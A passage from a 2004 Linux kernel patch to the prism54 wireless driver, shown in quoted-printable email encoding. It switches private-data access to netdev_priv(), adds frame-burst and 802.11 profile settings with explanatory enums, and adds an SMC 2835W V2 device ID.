islpci_private *priv =3D netdev_priv(ndev); u32 sens; =20 /* by default the card sets this to 20. */ @@ -452,7 +453,7 @@ prism54_get_sens(struct net_device *ndev, struct iw_request_info *info, struct iw_param *vwrq, char *extra) { - islpci_private *priv =3D ndev->priv; + islpci_private *priv =3D netdev_priv(ndev); union oid_res_t r; int rvalue; =20 @@ -470,7 +471,7 @@ struct iw_point *dwrq, char *extra) { struct iw_range *range =3D (struct iw_range *) extra; - islpci_private *priv =3D ndev->priv; + islpci_private *priv =3D netdev_priv(ndev); char *data; int i, m, rvalue; struct obj_frequencies *freq; @@ -576,7 +577,7 @@ prism54_set_wap(struct net_device *ndev, struct iw_request_info *info, struct sockaddr *awrq, char *extra) { - islpci_private *priv =3D ndev->priv; + islpci_private *priv =3D netdev_priv(ndev); char bssid[6]; int rvalue; =20 @@ -598,7 +599,7 @@ prism54_get_wap(struct net_device *ndev, struct iw_request_info *info, struct sockaddr *awrq, char *extra) { - islpci_private *priv =3D ndev->priv; + islpci_private *priv =3D netdev_priv(ndev); union oid_res_t r; int rvalue; =20 @@ -630,7 +631,7 @@ { struct iw_event iwe; /* Temporary buffer */ short cap; - islpci_private *priv =3D ndev->priv; + islpci_private *priv =3D netdev_priv(ndev); =20 /* The first entry must be the MAC address */ memcpy(iwe.u.ap_addr.sa_data, bss->address, 6); @@ -721,7 +722,7 @@ prism54_get_scan(struct net_device *ndev, struct iw_request_info *info, struct iw_point *dwrq, char *extra) { - islpci_private *priv =3D ndev->priv; + islpci_private *priv =3D netdev_priv(ndev); int i, rvalue; struct obj_bsslist *bsslist; u32 noise =3D 0; @@ -762,7 +763,7 @@ prism54_set_essid(struct net_device *ndev, struct iw_request_info *info, struct iw_point *dwrq, char *extra) { - islpci_private *priv =3D ndev->priv; + islpci_private *priv =3D netdev_priv(ndev); struct obj_ssid essid; =20 memset(essid.octets, 0, 33); @@ -789,7 +790,7 @@ prism54_get_essid(struct net_device *ndev, struct iw_request_info *info, struct iw_point *dwrq, char *extra) { - islpci_private *priv =3D ndev->priv; + islpci_private *priv =3D netdev_priv(ndev); struct obj_ssid *essid; union oid_res_t r; int rvalue; @@ -819,7 +820,7 @@ prism54_set_nick(struct net_device *ndev, struct iw_request_info *info, struct iw_point *dwrq, char *extra) { - islpci_private *priv =3D ndev->priv; + islpci_private *priv =3D netdev_priv(ndev); =20 if (dwrq->length > IW_ESSID_MAX_SIZE) return -E2BIG; @@ -836,7 +837,7 @@ prism54_get_nick(struct net_device *ndev, struct iw_request_info *info, struct iw_point *dwrq, char *extra) { - islpci_private *priv =3D ndev->priv; + islpci_private *priv =3D netdev_priv(ndev); =20 dwrq->length =3D 0; =20 @@ -856,7 +857,7 @@ struct iw_param *vwrq, char *extra) { =20 - islpci_private *priv =3D ndev->priv; + islpci_private *priv =3D netdev_priv(ndev); u32 rate, profile; char *data; int ret, i; @@ -924,7 +925,7 @@ struct iw_request_info *info, struct iw_param *vwrq, char *extra) { - islpci_private *priv =3D ndev->priv; + islpci_private *priv =3D netdev_priv(ndev); int rvalue; char *data; union oid_res_t r; @@ -948,7 +949,7 @@ prism54_set_rts(struct net_device *ndev, struct iw_request_info *info, struct iw_param *vwrq, char *extra) { - islpci_private *priv =3D ndev->priv; + islpci_private *priv =3D netdev_priv(ndev); =20 return mgt_set_request(priv, DOT11_OID_RTSTHRESH, 0, &vwrq->value); } @@ -957,7 +958,7 @@ prism54_get_rts(struct net_device *ndev, struct iw_request_info *info, struct iw_param *vwrq, char *extra) { - islpci_private *priv =3D ndev->priv; + islpci_private *priv =3D netdev_priv(ndev); union oid_res_t r; int rvalue; =20 @@ -972,7 +973,7 @@ prism54_set_frag(struct net_device *ndev, struct iw_request_info *info, struct iw_param *vwrq, char *extra) { - islpci_private *priv =3D ndev->priv; + islpci_private *priv =3D netdev_priv(ndev); =20 return mgt_set_request(priv, DOT11_OID_FRAGTHRESH, 0, &vwrq->value); } @@ -981,7 +982,7 @@ prism54_get_frag(struct net_device *ndev, struct iw_request_info *info, struct iw_param *vwrq, char *extra) { - islpci_private *priv =3D ndev->priv; + islpci_private *priv =3D netdev_priv(ndev); union oid_res_t r; int rvalue; =20 @@ -1004,7 +1005,7 @@ prism54_set_retry(struct net_device *ndev, struct iw_request_info *info, struct iw_param *vwrq, char *extra) { - islpci_private *priv =3D ndev->priv; + islpci_private *priv =3D netdev_priv(ndev); u32 slimit =3D 0, llimit =3D 0; /* short and long limit */ u32 lifetime =3D 0; int rvalue =3D 0; @@ -1048,7 +1049,7 @@ prism54_get_retry(struct net_device *ndev, struct iw_request_info *info, struct iw_param *vwrq, char *extra) { - islpci_private *priv =3D ndev->priv; + islpci_private *priv =3D netdev_priv(ndev); union oid_res_t r; int rvalue =3D 0; vwrq->disabled =3D 0; /* It cannot be disabled */ @@ -1080,7 +1081,7 @@ prism54_set_encode(struct net_device *ndev, struct iw_request_info *info, struct iw_point *dwrq, char *extra) { - islpci_private *priv =3D ndev->priv; + islpci_private *priv =3D netdev_priv(ndev); int rvalue =3D 0, force =3D 0; int authen =3D DOT11_AUTH_OS, invoke =3D 0, exunencrypt =3D 0; union oid_res_t r; @@ -1170,7 +1171,7 @@ prism54_get_encode(struct net_device *ndev, struct iw_request_info *info, struct iw_point *dwrq, char *extra) { - islpci_private *priv =3D ndev->priv; + islpci_private *priv =3D netdev_priv(ndev); struct obj_key *key; u32 devindex, index =3D (dwrq->flags & IW_ENCODE_INDEX) - 1; u32 authen =3D 0, invoke =3D 0, exunencrypt =3D 0; @@ -1218,7 +1219,7 @@ prism54_get_txpower(struct net_device *ndev, struct iw_request_info *info, struct iw_param *vwrq, char *extra) { - islpci_private *priv =3D ndev->priv; + islpci_private *priv =3D netdev_priv(ndev); union oid_res_t r; int rvalue; =20 @@ -1238,7 +1239,7 @@ prism54_set_txpower(struct net_device *ndev, struct iw_request_info *info, struct iw_param *vwrq, char *extra) { - islpci_private *priv =3D ndev->priv; + islpci_private *priv =3D netdev_priv(ndev); s32 u =3D vwrq->value; =20 /* intersil firmware operates in 0.25 dBm (1/4) */ @@ -1264,7 +1265,7 @@ prism54_reset(struct net_device *ndev, struct iw_request_info *info, __u32 * uwrq, char *extra) { - islpci_reset(ndev->priv, 0); + islpci_reset(netdev_priv(ndev), 0); =20 return 0; } @@ -1273,7 +1274,7 @@ prism54_set_beacon(struct net_device *ndev, struct iw_request_info *info, __u32 * uwrq, char *extra) { - int rvalue =3D mgt_set_request((islpci_private *) ndev->priv, + int rvalue =3D mgt_set_request((islpci_private *) netdev_priv(ndev), DOT11_OID_BEACONPERIOD, 0, uwrq); =20 return (rvalue ? rvalue : -EINPROGRESS); @@ -1287,7 +1288,7 @@ int rvalue; =20 rvalue =3D - mgt_get_request((islpci_private *) ndev->priv, + mgt_get_request((islpci_private *) netdev_priv(ndev), DOT11_OID_BEACONPERIOD, 0, NULL, &r); *uwrq =3D r.u; =20 @@ -1337,7 +1338,7 @@ prism54_add_mac(struct net_device *ndev, struct iw_request_info *info, struct sockaddr *awrq, char *extra) { - islpci_private *priv =3D ndev->priv; + islpci_private *priv =3D netdev_priv(ndev); struct islpci_acl *acl =3D &priv->acl; struct mac_entry *entry; struct sockaddr *addr =3D (struct sockaddr *) extra; @@ -1366,7 +1367,7 @@ prism54_del_mac(struct net_device *ndev, struct iw_request_info *info, struct sockaddr *awrq, char *extra) { - islpci_private *priv =3D ndev->priv; + islpci_private *priv =3D netdev_priv(ndev); struct islpci_acl *acl =3D &priv->acl; struct mac_entry *entry; struct list_head *ptr; @@ -1396,7 +1397,7 @@ prism54_get_mac(struct net_device *ndev, struct iw_request_info *info, struct iw_point *dwrq, char *extra) { - islpci_private *priv =3D ndev->priv; + islpci_private *priv =3D netdev_priv(ndev); struct islpci_acl *acl =3D &priv->acl; struct mac_entry *entry; struct list_head *ptr; @@ -1427,7 +1428,7 @@ prism54_set_policy(struct net_device *ndev, struct iw_request_info *info, __u32 * uwrq, char *extra) { - islpci_private *priv =3D ndev->priv; + islpci_private *priv =3D netdev_priv(ndev); struct islpci_acl *acl =3D &priv->acl; u32 mlmeautolevel; =20 @@ -1460,7 +1461,7 @@ prism54_get_policy(struct net_device *ndev, struct iw_request_info *info, __u32 * uwrq, char *extra) { - islpci_private *priv =3D ndev->priv; + islpci_private *priv =3D netdev_priv(ndev); struct islpci_acl *acl =3D &priv->acl; =20 *uwrq =3D acl->policy; @@ -1511,7 +1512,7 @@ =20 /* Tell the card to kick every client */ mlme->id =3D cpu_to_le16(0); - rvalue =3D mgt_set_request(ndev->priv, DOT11_OID_DISASSOCIATE, 0, mlme); + rvalue =3D mgt_set_request(netdev_priv(ndev), DOT11_OID_DISASSOCIATE, 0, = mlme); kfree(mlme); =20 return rvalue; @@ -1535,7 +1536,7 @@ /* Tell the card to only kick the corresponding bastard */ memcpy(mlme->address, addr->sa_data, ETH_ALEN); mlme->id =3D cpu_to_le16(-1); - rvalue =3D mgt_set_request(ndev->priv, DOT11_OID_DISASSOCIATE, 0, mlme); + rvalue =3D mgt_set_request(netdev_priv(ndev), DOT11_OID_DISASSOCIATE, 0, = mlme); =20 kfree(mlme); =20 @@ -1595,7 +1596,7 @@ static void link_changed(struct net_device *ndev, u32 bitrate) { - islpci_private *priv =3D ndev->priv; + islpci_private *priv =3D netdev_priv(ndev); =20 if (le32_to_cpu(bitrate)) { if (priv->iw_mode =3D=3D IW_MODE_INFRA) { @@ -1604,9 +1605,9 @@ NULL); wireless_send_event(ndev, SIOCGIWAP, &uwrq, NULL); } else - send_simple_event(ndev->priv, "Link established"); + send_simple_event(netdev_priv(ndev), "Link established"); } else - send_simple_event(ndev->priv, "Link lost"); + send_simple_event(netdev_priv(ndev), "Link lost"); } =20 /* Beacon/ProbeResp payload header */ @@ -1889,16 +1890,17 @@ prism54_process_trap(void *data) { struct islpci_mgmtframe *frame =3D data; + struct net_device *ndev =3D frame->ndev; enum oid_num_t n =3D mgt_oidtonum(frame->header->oid); =20 - prism54_process_trap_helper(frame->ndev->priv, n, frame->data); + prism54_process_trap_helper(netdev_priv(ndev), n, frame->data); islpci_mgt_release(frame); } =20 int prism54_set_mac_address(struct net_device *ndev, void *addr) { - islpci_private *priv =3D ndev->priv; + islpci_private *priv =3D netdev_priv(ndev); int ret; =20 if (ndev->addr_len !=3D 6) @@ -1923,7 +1925,7 @@ prism54_set_wpa(struct net_device *ndev, struct iw_request_info *info, __u32 * uwrq, char *extra) { - islpci_private *priv =3D ndev->priv; + islpci_private *priv =3D netdev_priv(ndev); =20 down_write(&priv->mib_sem); =20 @@ -1943,16 +1945,70 @@ prism54_get_wpa(struct net_device *ndev, struct iw_request_info *info, __u32 * uwrq, char *extra) { - islpci_private *priv =3D ndev->priv; + islpci_private *priv =3D netdev_priv(ndev); *uwrq =3D priv->wpa; return 0; } =20 int +prism54_set_maxframeburst(struct net_device *ndev, struct iw_request_info = *info, + __u32 *uwrq, char *extra) +{ + islpci_private *priv =3D netdev_priv(ndev); + u32 max_burst; + + max_burst =3D (*uwrq) ? *uwrq : CARD_DEFAULT_MAXFRAMEBURST; + mgt_set_request(priv, DOT11_OID_MAXFRAMEBURST, 0, &max_burst); + + return -EINPROGRESS; /* Call commit handler */ +} + +int +prism54_get_maxframeburst(struct net_device *ndev, struct iw_request_info = *info, + __u32 *uwrq, char *extra) +{ + islpci_private *priv =3D netdev_priv(ndev); + union oid_res_t r; + int rvalue; +=09 + rvalue =3D mgt_get_request(priv, DOT11_OID_MAXFRAMEBURST, 0, NULL, &r); + *uwrq =3D r.u; +=09 + return rvalue; +} + +int +prism54_set_profile(struct net_device *ndev, struct iw_request_info *info, + __u32 *uwrq, char *extra) +{ + islpci_private *priv =3D netdev_priv(ndev); + u32 profile; + + profile =3D (*uwrq) ? *uwrq : CARD_DEFAULT_PROFILE; + mgt_set_request(priv, DOT11_OID_PROFILES, 0, &profile); +=09 + return -EINPROGRESS; /* Call commit handler */ +} + +int +prism54_get_profile(struct net_device *ndev, struct iw_request_info *info, + __u32 *uwrq, char *extra) +{ + islpci_private *priv =3D netdev_priv(ndev); + union oid_res_t r; + int rvalue; + + rvalue =3D mgt_get_request(priv, DOT11_OID_PROFILES, 0, NULL, &r); + *uwrq =3D r.u; + + return rvalue; +} + +int prism54_oid(struct net_device *ndev, struct iw_request_info *info, __u32 *uwrq, char *extra) { - islpci_private *priv =3D ndev->priv; + islpci_private *priv =3D netdev_priv(ndev); =09 priv->priv_oid =3D *uwrq; printk("%s: oid 0x%08X\n", ndev->name, *uwrq); @@ -1964,7 +2020,7 @@ prism54_get_oid(struct net_device *ndev, struct iw_request_info *info, struct iw_point *data, char *extra) { - islpci_private *priv =3D ndev->priv; + islpci_private *priv =3D netdev_priv(ndev); struct islpci_mgmtframe *response =3D NULL; int ret =3D -EIO, response_op =3D PIMFOR_OP_ERROR; =09 @@ -1998,7 +2054,7 @@ prism54_set_oid(struct net_device *ndev, struct iw_request_info *info, struct iw_point *data, char *extra) { - islpci_private *priv =3D ndev->priv; + islpci_private *priv =3D netdev_priv(ndev); struct islpci_mgmtframe *response =3D NULL; int ret =3D 0, response_op =3D PIMFOR_OP_ERROR; =09 diff -Naur -X /home/mcgrof/lib/dontdiff linux-2.6.5-rc1/drivers/net/wireles= s/prism54/isl_oid.h linux-2.6.5-rc1-mcgrof/drivers/net/wireless/prism54/isl= _oid.h --- linux-2.6.5-rc1/drivers/net/wireless/prism54/isl_oid.h Tue Mar 16 20:55= :11 2004 +++ linux-2.6.5-rc1-mcgrof/drivers/net/wireless/prism54/isl_oid.h Wed Mar 1= 7 01:00:42 2004 @@ -1,7 +1,8 @@ /* - * $Id: isl_oid.h,v 1.2 2004/01/30 16:24:00 ajfa Exp $ + * $Id: isl_oid.h,v 1.3 2004/03/09 09:05:27 mcgrof Exp $ * =20 * Copyright (C) 2003 Herbert Valerio Riedel + * Copyright (C) 2004 Luis R. Rodriguez * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by @@ -142,15 +143,131 @@ DOT11_PRIV_TKIP =3D 1 }; =20 +/* Prism "Nitro" / Frameburst / "Packet Frame Grouping" + * Value is in microseconds. Represents the # microseconds + * the firmware will take to group frames before sending out then out=20 + * together with a CSMA contention. Without this all frames are + * sent with a CSMA contention.=20 + * Bibliography:=20 + * http://www.hpl.hp.com/personal/Jean_Tourrilhes/Papers/Packet.Frame.Grou= ping.html + */ +enum dot11_maxframeburst_t {=20 + /* Values for DOT11_OID_MAXFRAMEBURST */ + DOT11_MAXFRAMEBURST_OFF =3D 0, /* Card firmware default */ + DOT11_MAXFRAMEBURST_MIXED_SAFE =3D 650, /* 802.11 a,b,g safe */ + DOT11_MAXFRAMEBURST_IDEAL =3D 1300, /* Theoretical ideal level */ + DOT11_MAXFRAMEBURST_MAX =3D 5000, /* Use this as max, + * Note: firmware allows for greater values. This is a + * recommended max. I'll update this as I find + * out what the real MAX is. Also note that you don't necessarily + * get better results with a greater value here. + */ +}; + +/* Support for 802.11 long and short frame preambles. + * Long preamble uses 128-bit sync field, 8-bit CRC + * Short preamble uses 56-bit sync field, 16-bit CRC + *=20 + * 802.11a -- not sure, both optionally ? + * 802.11b supports long and optionally short=20 + * 802.11g supports both */ +enum dot11_preamblesettings_t { + DOT11_PREAMBLESETTING_LONG =3D 0, + /* Allows *only* long 802.11 preambles */ + DOT11_PREAMBLESETTING_SHORT =3D 1, + /* Allows *only* short 802.11 preambles */ + DOT11_PREAMBLESETTING_DYNAMIC =3D 2 + /* AutomatiGically set */ +}; + +/* Support for 802.11 slot timing (time between packets). + * + * Long uses 802.11a slot timing (9 usec ?) + * Short uses 802.11b slot timing (20 use ?) */ +enum dot11_slotsettings_t { + DOT11_SLOTSETTINGS_LONG =3D 0,=20 + /* Allows *only* long 802.11b slot timing */ + DOT11_SLOTSETTINGS_SHORT =3D 1, + /* Allows *only* long 802.11a slot timing */ + DOT11_SLOTSETTINGS_DYNAMIC =3D 2 + /* AutomatiGically set */ +}; + +/* All you need to know, ERP is "Extended Rate PHY". + * An Extended Rate PHY (ERP) STA or AP shall support three different=20 + * preamble and header formats: + * Long preamble (refer to above) + * Short preamble (refer to above) + * OFDM preamble ( ? ) + * + * I'm assuming here Protection tells the AP + * to be careful, a STA which cannot handle the long pre-amble + * has joined. + */ +enum do11_nonerpstatus_t { + DOT11_ERPSTAT_NONEPRESENT =3D 0, + DOT11_ERPSTAT_USEPROTECTION =3D 1 +}; + +/* (ERP is "Extended Rate PHY") Way to read NONERP is NON-ERP-* + * The key here is DOT11 NON ERP NEVER protects against + * NON ERP STA's. You *don't* want this unless + * you know what you are doing. It means you will only=20 + * get Extended Rate capabilities */ +enum dot11_nonerpprotection_t { + DOT11_NONERP_NEVER =3D 0, + DOT11_NONERP_ALWAYS =3D 1, + DOT11_NONERP_DYNAMIC =3D 2 +}; + +/* Preset OID configuration for 802.11 modes=20 + * Note: DOT11_OID_CW[MIN|MAX] hold the values of the=20 + * DCS MIN|MAX backoff used */ +enum dot11_profile_t { /* And set/allowed values */ + /* Allowed values for DOT11_OID_PROFILES */ + DOT11_PROFILE_B_ONLY =3D 0, + /* DOT11_OID_RATES: 1, 2, 5.5, 11Mbps=20 + * DOT11_OID_PREAMBLESETTINGS: DOT11_PREAMBLESETTING_DYNAMIC + * DOT11_OID_CWMIN: 31 + * DOT11_OID_NONEPROTECTION: DOT11_NOERP_DYNAMIC + * DOT11_OID_SLOTSETTINGS: DOT11_SLOTSETTINGS_LONG + */ + DOT11_PROFILE_MIXED_G_WIFI =3D 1, + /* DOT11_OID_RATES: 1, 2, 5.5, 11, 6, 9, 12, 18, 24, 36, 48, 54Mbs + * DOT11_OID_PREAMBLESETTINGS: DOT11_PREAMBLESETTING_DYNAMIC + * DOT11_OID_CWMIN: 15 + * DOT11_OID_NONEPROTECTION: DOT11_NOERP_DYNAMIC + * DOT11_OID_SLOTSETTINGS: DOT11_SLOTSETTINGS_DYNAMIC + */ + DOT11_PROFILE_MIXED_LONG =3D 2, /* "Long range" */ + /* Same as Profile MIXED_G_WIFI */ + DOT11_PROFILE_G_ONLY =3D 3, + /* Same as Profile MIXED_G_WIFI */ + DOT11_PROFILE_TEST =3D 4, + /* Same as Profile MIXED_G_WIFI except: + * DOT11_OID_PREAMBLESETTINGS: DOT11_PREAMBLESETTING_SHORT + * DOT11_OID_NONEPROTECTION: DOT11_NOERP_NEVER + * DOT11_OID_SLOTSETTINGS: DOT11_SLOTSETTINGS_SHORT + */ + DOT11_PROFILE_B_WIFI =3D 5, + /* Same as Profile B_ONLY */ + DOT11_PROFILE_A_ONLY =3D 6, + /* Same as Profile MIXED_G_WIFI except: + * DOT11_OID_RATES: 6, 9, 12, 18, 24, 36, 48, 54Mbs + */ + DOT11_PROFILE_MIXED_SHORT =3D 7 + /* Same as MIXED_G_WIFI */ +}; + + /* The dot11d conformance level configures the 802.11d conformance levels. * The following conformance levels exist:*/ enum oid_inl_conformance_t { OID_INL_CONFORMANCE_NONE =3D 0, /* Perform active scanning */ OID_INL_CONFORMANCE_STRICT =3D 1, /* Strictly adhere to 802.11d */ OID_INL_CONFORMANCE_FLEXIBLE =3D 2, /* Use passed 802.11d info to - * determine channel AND/OR just make=20 - * assumption that active=20 - * channels are valid channels */ + * determine channel AND/OR just make assumption that active=20 + * channels are valid channels */ }; =20 enum oid_inl_mode_t { @@ -176,6 +293,7 @@ INL_PHYCAP_FAA =3D 0x80000000, /* Means card supports the FAA switch */ }; =20 + enum oid_num_t { GEN_OID_MACADDRESS =3D 0, GEN_OID_LINKSTATE, @@ -269,8 +387,8 @@ DOT11_OID_FRAMEABORTSPHY, =20 DOT11_OID_SLOTTIME, - DOT11_OID_CWMIN, - DOT11_OID_CWMAX, + DOT11_OID_CWMIN, /* MIN DCS backoff */ + DOT11_OID_CWMAX, /* MAX DCS backoff */ DOT11_OID_ACKWINDOW, DOT11_OID_ANTENNARX, DOT11_OID_ANTENNATX, diff -Naur -X /home/mcgrof/lib/dontdiff linux-2.6.5-rc1/drivers/net/wireles= s/prism54/islpci_dev.c linux-2.6.5-rc1-mcgrof/drivers/net/wireless/prism54/= islpci_dev.c --- linux-2.6.5-rc1/drivers/net/wireless/prism54/islpci_dev.c Tue Mar 16 20= :55:11 2004 +++ linux-2.6.5-rc1-mcgrof/drivers/net/wireless/prism54/islpci_dev.c Wed Ma= r 17 01:00:42 2004 @@ -245,7 +245,7 @@ islpci_open(struct net_device *ndev) { u32 rc; - islpci_private *priv =3D ndev->priv; + islpci_private *priv =3D netdev_priv(ndev); =20 printk(KERN_DEBUG "%s: islpci_open()\n", ndev->name); =20 @@ -265,7 +265,7 @@ static int islpci_close(struct net_device *ndev) { - islpci_private *priv =3D ndev->priv; + islpci_private *priv =3D netdev_priv(ndev); =20 printk(KERN_DEBUG "%s: islpci_close ()\n", ndev->name); =20 @@ -491,7 +491,7 @@ struct net_device_stats * islpci_statistics(struct net_device *ndev) { - islpci_private *priv =3D ndev->priv; + islpci_private *priv =3D netdev_priv(ndev); =20 #if VERBOSE > SHOW_ERROR_MESSAGES DEBUG(SHOW_FUNCTION_CALLS, "islpci_statistics \n"); @@ -577,6 +577,7 @@ if (!(skb =3D dev_alloc_skb(MAX_FRAGMENT_SIZE_RX + 2))) { /* error allocating an sk_buff structure elements */ printk(KERN_ERR "Error allocating skb.\n"); + skb =3D NULL; goto out_free; } /* add the new allocated sk_buff to the buffer array */ @@ -711,7 +712,7 @@ #endif =20 /* allocate a private device structure to the network device */ - priv =3D ndev->priv; + priv =3D netdev_priv(ndev); priv->ndev =3D ndev; priv->pdev =3D pdev; =20 diff -Naur -X /home/mcgrof/lib/dontdiff linux-2.6.5-rc1/drivers/net/wireles= s/prism54/islpci_eth.c linux-2.6.5-rc1-mcgrof/drivers/net/wireless/prism54/= islpci_eth.c --- linux-2.6.5-rc1/drivers/net/wireless/prism54/islpci_eth.c Tue Mar 16 20= :55:11 2004 +++ linux-2.6.5-rc1-mcgrof/drivers/net/wireless/prism54/islpci_eth.c Wed Ma= r 17 01:00:42 2004 @@ -63,6 +63,7 @@ priv->pci_map_tx_address[index], skb->len, PCI_DMA_TODEVICE); dev_kfree_skb_irq(skb); + skb =3D NULL; } /* increment the free data low queue pointer */ priv->free_data_tx++; @@ -72,7 +73,7 @@ int islpci_eth_transmit(struct sk_buff *skb, struct net_device *ndev) { - islpci_private *priv =3D ndev->priv; + islpci_private *priv =3D netdev_priv(ndev); isl38xx_control_block *cb =3D priv->control_block; u32 index; dma_addr_t pci_map_address; @@ -238,6 +239,7 @@ drop_free: /* free the skbuf structure before aborting */ dev_kfree_skb(skb); + skb =3D NULL; =20 priv->statistics.tx_dropped++; spin_unlock_irqrestore(&priv->slock, flags); @@ -346,8 +348,10 @@ skb->data[0], skb->data[1], skb->data[2], skb->data[3], skb->data[4], skb->data[5]); #endif - if (discard) + if (discard) { dev_kfree_skb(skb); + skb =3D NULL; + } else netif_rx(skb); =20 @@ -388,6 +392,7 @@ =20 /* free the skbuf structure before aborting */ dev_kfree_skb((struct sk_buff *) skb); + skb =3D NULL; break; } /* update the fragment address */ @@ -411,7 +416,7 @@ void islpci_eth_tx_timeout(struct net_device *ndev) { - islpci_private *priv =3D ndev->priv; + islpci_private *priv =3D netdev_priv(ndev); struct net_device_stats *statistics =3D &priv->statistics; =20 /* increment the transmit error counter */ diff -Naur -X /home/mcgrof/lib/dontdiff linux-2.6.5-rc1/drivers/net/wireles= s/prism54/islpci_hotplug.c linux-2.6.5-rc1-mcgrof/drivers/net/wireless/pris= m54/islpci_hotplug.c --- linux-2.6.5-rc1/drivers/net/wireless/prism54/islpci_hotplug.c Tue Mar 1= 6 20:55:11 2004 +++ linux-2.6.5-rc1-mcgrof/drivers/net/wireless/prism54/islpci_hotplug.c We= d Mar 17 01:00:42 2004 @@ -29,10 +29,10 @@ #include "isl_oid.h" =20 #define DRV_NAME "prism54" -#define DRV_VERSION "1.0.2.2" +#define DRV_VERSION "1.1" =20 -MODULE_AUTHOR("W.Termorshuizen, R.Bastings, H.V.Riedel, prism54.org team"); -MODULE_DESCRIPTION("Intersil 802.11 Wireless LAN adapter"); +MODULE_AUTHOR("[Intersil] R.Bastings and W.Termorshuizen, The prism54.org = Development Team "); +MODULE_DESCRIPTION("The Prism54 802.11 Wireless LAN adapter"); MODULE_LICENSE("GPL"); =20 /* In this order: vendor, device, subvendor, subdevice, class, class_mask, @@ -97,6 +97,11 @@ 0, 0, (unsigned long) "SMC 2802Wv2"}, { + PCIVENDOR_INTERSIL, PCIDEVICE_ISL3890, + PCIVENDOR_SMC, 0xa835UL, + 0, 0, + (unsigned long) "SMC 2835Wv2"}, + { PCIVENDOR_INTERSIL, PCIDEVICE_ISL3877, PCI_ANY_ID, PCI_ANY_ID, 0, 0, @@ -133,7 +138,7 @@ islpci_private *priv; char *modelp; =20 - priv =3D ndev->priv; + priv =3D netdev_priv(ndev); switch (priv->pdev->subsystem_device) { case PCIDEVICE_ISL3877: modelp =3D "PRISM Indigo"; @@ -159,6 +164,9 @@ case 0x2835UL: modelp =3D "SMC2835W"; break; + case 0xa835UL: + modelp =3D "SMC2835W V2"; + break; /* Let's leave this one out for now since it seems bogus/wrong=20 * Even if the manufacturer did use 0x0000UL it may not be correct * by their part, therefore deserving no name ;) */ @@ -269,7 +277,7 @@ goto do_pci_release_regions; } =20 - priv =3D ndev->priv; + priv =3D netdev_priv(ndev); islpci_set_state(priv, PRV_STATE_PREBOOT); /* we are attempting to boot */ =20 /* card is in unknown state yet, might have some interrupts pending */ @@ -314,7 +322,7 @@ prism54_remove(struct pci_dev *pdev) { struct net_device *ndev =3D pci_get_drvdata(pdev); - islpci_private *priv =3D ndev ? ndev->priv : 0; + islpci_private *priv =3D ndev ? netdev_priv(ndev) : 0; BUG_ON(!priv); =20 if (!__in_cleanup_module) { @@ -355,7 +363,7 @@ prism54_suspend(struct pci_dev *pdev, u32 state) { struct net_device *ndev =3D pci_get_drvdata(pdev); - islpci_private *priv =3D ndev ? ndev->priv : 0; + islpci_private *priv =3D ndev ? netdev_priv(ndev) : 0; BUG_ON(!priv); =20 printk(KERN_NOTICE "%s: got suspend request (state %d)\n", @@ -380,7 +388,7 @@ prism54_resume(struct pci_dev *pdev) { struct net_device *ndev =3D pci_get_drvdata(pdev); - islpci_private *priv =3D ndev ? ndev->priv : 0; + islpci_private *priv =3D ndev ? netdev_priv(ndev) : 0; BUG_ON(!priv); =20 printk(KERN_NOTICE "%s: got resume request\n", ndev->name); diff -Naur -X /home/mcgrof/lib/dontdiff linux-2.6.5-rc1/drivers/net/wireles= s/prism54/islpci_mgt.c linux-2.6.5-rc1-mcgrof/drivers/net/wireless/prism54/= islpci_mgt.c --- linux-2.6.5-rc1/drivers/net/wireless/prism54/islpci_mgt.c Tue Mar 16 20= :55:11 2004 +++ linux-2.6.5-rc1-mcgrof/drivers/net/wireless/prism54/islpci_mgt.c Wed Ma= r 17 01:00:42 2004 @@ -22,6 +22,7 @@ #include #include #include +#include =20 #include #include @@ -38,7 +39,7 @@ Global variable definition section **************************************************************************= ****/ int pc_debug =3D VERBOSE; -MODULE_PARM(pc_debug, "i"); +module_param(pc_debug, int, 0); =20 /*************************************************************************= ***** Driver general functions @@ -106,7 +107,7 @@ int islpci_mgmt_rx_fill(struct net_device *ndev) { - islpci_private *priv =3D ndev->priv; + islpci_private *priv =3D netdev_priv(ndev); isl38xx_control_block *cb =3D /* volatile not needed */ (isl38xx_control_block *) priv->control_block; u32 curr =3D le32_to_cpu(cb->driver_curr_frag[ISL38XX_CB_RX_MGMTQ]); @@ -165,7 +166,7 @@ islpci_mgt_transmit(struct net_device *ndev, int operation, unsigned long = oid, void *data, int length) { - islpci_private *priv =3D ndev->priv; + islpci_private *priv =3D netdev_priv(ndev); isl38xx_control_block *cb =3D (isl38xx_control_block *) priv->control_block; void *p; @@ -271,7 +272,7 @@ int islpci_mgt_receive(struct net_device *ndev) { - islpci_private *priv =3D ndev->priv; + islpci_private *priv =3D netdev_priv(ndev); isl38xx_control_block *cb =3D (isl38xx_control_block *) priv->control_block; u32 curr_frag; @@ -414,7 +415,7 @@ void islpci_mgt_cleanup_transmit(struct net_device *ndev) { - islpci_private *priv =3D ndev->priv; + islpci_private *priv =3D netdev_priv(ndev); isl38xx_control_block *cb =3D /* volatile not needed */ (isl38xx_control_block *) priv->control_block; u32 curr_frag; @@ -451,7 +452,7 @@ void *senddata, int sendlen, struct islpci_mgmtframe **recvframe) { - islpci_private *priv =3D ndev->priv; + islpci_private *priv =3D netdev_priv(ndev); const long wait_cycle_jiffies =3D (ISL38XX_WAIT_CYCLE * 10 * HZ) / 1000; long timeout_left =3D ISL38XX_MAX_WAIT_CYCLES * wait_cycle_jiffies; int err; diff -Naur -X /home/mcgrof/lib/dontdiff linux-2.6.5-rc1/drivers/net/wireles= s/prism54/islpci_mgt.h linux-2.6.5-rc1-mcgrof/drivers/net/wireless/prism54/= islpci_mgt.h --- linux-2.6.5-rc1/drivers/net/wireless/prism54/islpci_mgt.h Tue Mar 16 20= :55:11 2004 +++ linux-2.6.5-rc1-mcgrof/drivers/net/wireless/prism54/islpci_mgt.h Wed Ma= r 17 01:00:42 2004 @@ -87,11 +87,13 @@ #define CARD_DEFAULT_KEY4 "default_key_4" #define CARD_DEFAULT_WEP 0 #define CARD_DEFAULT_FILTER 0 -# define CARD_DEFAULT_WDS 0 +#define CARD_DEFAULT_WDS 0 #define CARD_DEFAULT_AUTHEN DOT11_AUTH_OS #define CARD_DEFAULT_DOT1X 0 #define CARD_DEFAULT_MLME_MODE DOT11_MLME_AUTO #define CARD_DEFAULT_CONFORMANCE OID_INL_CONFORMANCE_NONE +#define CARD_DEFAULT_PROFILE DOT11_PROFILE_MIXED_G_WIFI 